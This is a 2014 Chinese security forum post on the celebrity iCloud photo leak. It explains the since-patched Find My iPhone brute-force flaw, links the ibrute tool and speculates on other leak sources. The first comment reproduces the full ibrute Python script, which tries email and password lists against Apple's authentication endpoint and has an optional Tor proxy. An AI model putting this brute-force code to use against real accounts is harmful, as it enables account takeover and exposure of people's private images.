黑客公布获取女明星私密照办法,可能不止iCloud,苹果已经修复漏洞

2014-09-05 17:45:58 6 5275

阅后即焚、电脑或手机失窃、公共WiFi,都能成黑客获取好莱坞女星艳照的途径。

匿名黑客在4chan上公布了多位好莱坞知名女星的裸照和私密视频,引发了热议。

根据目前的信息,黑客并没有利用苹果云服务的0day漏洞,而是借助社交工程技术和低技术方法窃取到明星的私密自拍照片。苹果Find My iPhone API存在设计漏洞,允许不受限制的尝试用户账号和密码,在多次试错后不会被锁定。黑客于8月30日在GitHub上上传了所谓的概念验证工具ibrute, 设计对Find My iPhone账号发动暴力破解攻击。

苹果于9月1日修复了该漏洞。暴力破解工具会不断尝试电子邮件和密码组合。要入侵目标明星的账号,攻击者必须很好的猜出其使用的电子邮件地址,一旦成功破解,攻击者就可以访问 iCloud账号 ,获取储存的备份。苹果的iOS会默认将照片储存到iCloud。

Google的Android、 Google Plus和Yahoo Flickr等都采用类似的自动备份机制。在云时代,明星应该知道如果将私密照片储存在公有云里,有很大的可能性它们最终会出现在互联网上。

相关破解程序地址:https://github.com/hackappcom/ibrute

----------------------------------------------------------------------------------------



轰动全球的裸照风暴昨日爆发,有外国黑客疑利用苹果iCloud云端系统的漏洞,非法盗取了众多全球当红女星的裸照,继而在网络论坛发布。整个互联网目前都在试图推断出女星裸照如何被公开的问题。黑客最初选择在匿名实时消息论坛4chan(4chan.org)发布了这些照片,而舆论则普遍认为苹果的iCloud网络照片分享服务应当受到批评。考虑到iCloud是加密的云服务,它怎么可能会遭到大规模的黑客入侵?是否还有其它途径来获取女星的裸照?

iCloud

最初泄露女星裸照的黑客声称,通过使用明星的iCloud账号,他们获取了上述照片。黑客入侵苹果的iCloud服务这种情况不大可能出现。相反,这些照片很可能是通过“社会工程学”(social engineering.)的攻击方法获得了这些照片。“社会工程学”是一种黑客攻击方法,黑客在网络中伪装成另一个人并尽可能多的收集他人信息,如电子邮箱、出生日期等信息,然后采用群举法的方式猜测用户的账号密码,并最终登录其账号。

90后奥斯卡影后詹妮弗·劳伦斯(Jennifer Lawrence)今年在接受MTV采访时曾表示,她经常使用iCloud服务时会遇到一些麻烦。这也让公众了解到她在使用iCloud服务。她当时曾表示,“我的iCloud总是告诉我要备份。虽然我很喜欢,但我不知道如何备份。全得靠自己啊!”

在发现名人的iCloud账号之后,通过苹果的Photo Stream功能和iCloud照片备份,黑客便能够相当轻松的进入到名人的在线照片备份。通过对内含的EXIF数据(即有关在哪、如何照相的信息,经常会被添加到数码照片当中)进行分析,便能够掌握其中一张泄露的裸照拍摄于几周之前等信息。不过女星玛丽·伊丽莎白-文斯蒂德(Mary Elizabeth Winstead)在Twitter上表示,此次泄露的裸照当中,包括了她在“数年前”拍摄的照片。

Dropbox或是Google Drive

尽管最初泄露女星裸照的黑客声称,获取到女星的裸照要感谢iCloud,不过照片中展示的一系列设备,意味着其它服务可能也应当受到指责。许多女星均使用Android设备和摄像机自拍裸照,因此泄露的裸照可能并不是来自于iCloud的照片备份服务。一系列的设备可能意味着,Dropbox或是Google Drive也可能是泄露照片的发源地,因为上述两款服务均为手机输出照片和视频提供了自动备份工具。

Snapchat

数张女星裸照被文字覆盖,这意味着至少有一部分照片首先是通过阅后即焚应用Snapchat发送。考虑到Snapchat过去一直在努力克服安全问题,因此该款应用绝不会是所有裸照的发源地。当然,也有可能是黑客此前对Snapchat进行过大规模的攻击,或者是攻入Snapchat的备份服务之后,发现了Snapchat用户收到的照片截图。

圈内人

许多明星自己并不掌管设备,他们通常把设备交给助手来完成照片备份或是管理iCloud等这些相对复杂的工作。大量女星的裸照被公布,意味着有人存储这些照片已有一段时间。除了明星自己之外,能够看到这些照片的可能就是他们的个人助理、保镖等“圈内人”。如果一位在圈内有着很高知名度的个人助理的个人备份账户被攻击,有可能会导致很多类似的照片被发布到互联网上。

笔记本电脑或手机遭盗窃

这些泄露的女星裸照似乎来自于不同的设备,其中英国女演员杰西卡·布朗-芬德利(Jessica Brown-Findlay)的两段视频原本是发送给好友的视频。有可能这些泄露的裸照并不是来自于网络攻击,而是一位名媛的手机或笔记本电脑被盗窃,导致了裸照的泄露。考虑到名人有丢失设备的先例,这种情况事实上不大可能出现。

有报道称,好莱坞话题女王、演员林赛·罗韩(lindsay Lohan)在今年年初访问中国期间丢失了一台笔记本电脑,并最终找到了这台电脑。这台笔记本电脑的硬盘中存有大量的罗韩,及其他一些名人好友的裸照。不过截至目前,罗韩的裸照并没有出现。

黑客组织

两个不同的4chan用户最初发布了女星的裸照,这也就是说,这些照片可能不仅仅来源于一位黑客,此事件的背后,或许是一个黑客组织希望通过汇集资源来获取最大的回报。

通过4chan发送绝大多数女星裸照的用户,声称发布裸照的目的为为了赚取比特币。虽然他希望获得总价4万美元的捐助,但比特币交易记录显示,这位用户仅仅获得了0.25个比特币(约合120美元)。

是否是一群黑客通过共享照片来最大化收益?这一点很有可能,因为许多照片已被证明是假照片,这也就意味着这些照片来自于许多的途径,而不仅仅是一个渠道。

艾美奖

一种最新奇的推断是,这些女星的裸照被发现,主要是她们均在出席最近举行的艾美奖颁奖晚会时使用了公共Wi-Fi连接。世界黑客大会(DEF CON)就经常会谴责使用公共Wi-Fi的危险性。(

关于作者

f211d0m2篇文章74篇回复

评论6次

要评论?请先  登录  或  注册
  • 6楼
    2014-9-13 20:27

    学xi了!!!!

  • 5楼
    2014-9-13 13:18

    虽然补了,学xi一下脚本也是不错的!

  • 4楼
    2014-9-13 12:34

    看下脚本实现

  • 3楼
    2014-9-11 23:23

    补了补了.

  • 2楼
    2014-9-10 10:22

    已经补了吧

  • 1楼
    2014-9-9 23:03

    # -*- coding: utf-8 -*- # #hackapp.com #@hackappcom  p0c for FindMyIphone bug #allows to bruteforce passwords  without AppleID lock. #Before you start, make sure it's not illegal in your country. #Have a nice brute  import json import urllib2 import plistlib from xml.dom.minidom import * from lxml import etree import unicodedata import re import xml.etree.ElementTree import time import random import json import cookielib import urllib import time import socket import base64 from time import strftime   import socks import socket  #Uncomment to user t0r, or any other socks5 proxy  #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket  def TryPass(apple_id,password):           url = 'https://fmipmobile.icloud.com/fmipservice/device/'+apple_id+'/initClient'   #测试接口地址          headers = {                 'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',    #设备验证                 }          json = {                                                                     #利用密码找回功能的json数据         "clientContext": {         "appName": "FindMyiPhone",         "osVersion": "7.0.4",         "clientTimestamp": 429746389281,         "appVersion": "3.0",         #make it random!         "deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",         "inactiveTime": 1,         "buildVersion": "376",         "productType": "iPhone6,1"         },         "serverContext": {}         }          req_plist=plistlib.writePlistToString(json)          req = urllib2.Request(url, req_plist, headers=headers)         base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')                 #对苹果的icloud id 与密码进行编码         req.add_header("Authorization", "Basic %s" % base64string)            try:                 resp = urllib2.urlopen(req)                           #id验证是否正确标记         except urllib2.HTTPError, err:                 if err.code == 401:                         return False                 if err.code == 330:                         return True          return 'bad'   file = open('passlist.txt','r')     #弱密码词典(好强大) passwords = file.read() file.close()   file = open('mails.txt','r')           #邮箱地址(这些地址究竟来自哪儿?攻击者是如何知道的) apple_ids = file.read() file.close()    for apple_id in apple_ids.split('\n'):           #提交验证开始了         if apple_id:                 print 'Working with:',apple_id                 for pwd in passwords.split('\n'):                         if pwd:                                 #print pwd                                 password = pwd.split(' ')[1]                                 print 'Trying: ', apple_id,password                                                                  try:                                         result = TryPass(apple_id,password)                                         if result == True:                                                 print 'Got It!: ', apple_id,password                                         if result == 'bad':                                                 print 'We are blocked!: ',apple_id,password                                 except:                                         print 'Protocol failed ',pwd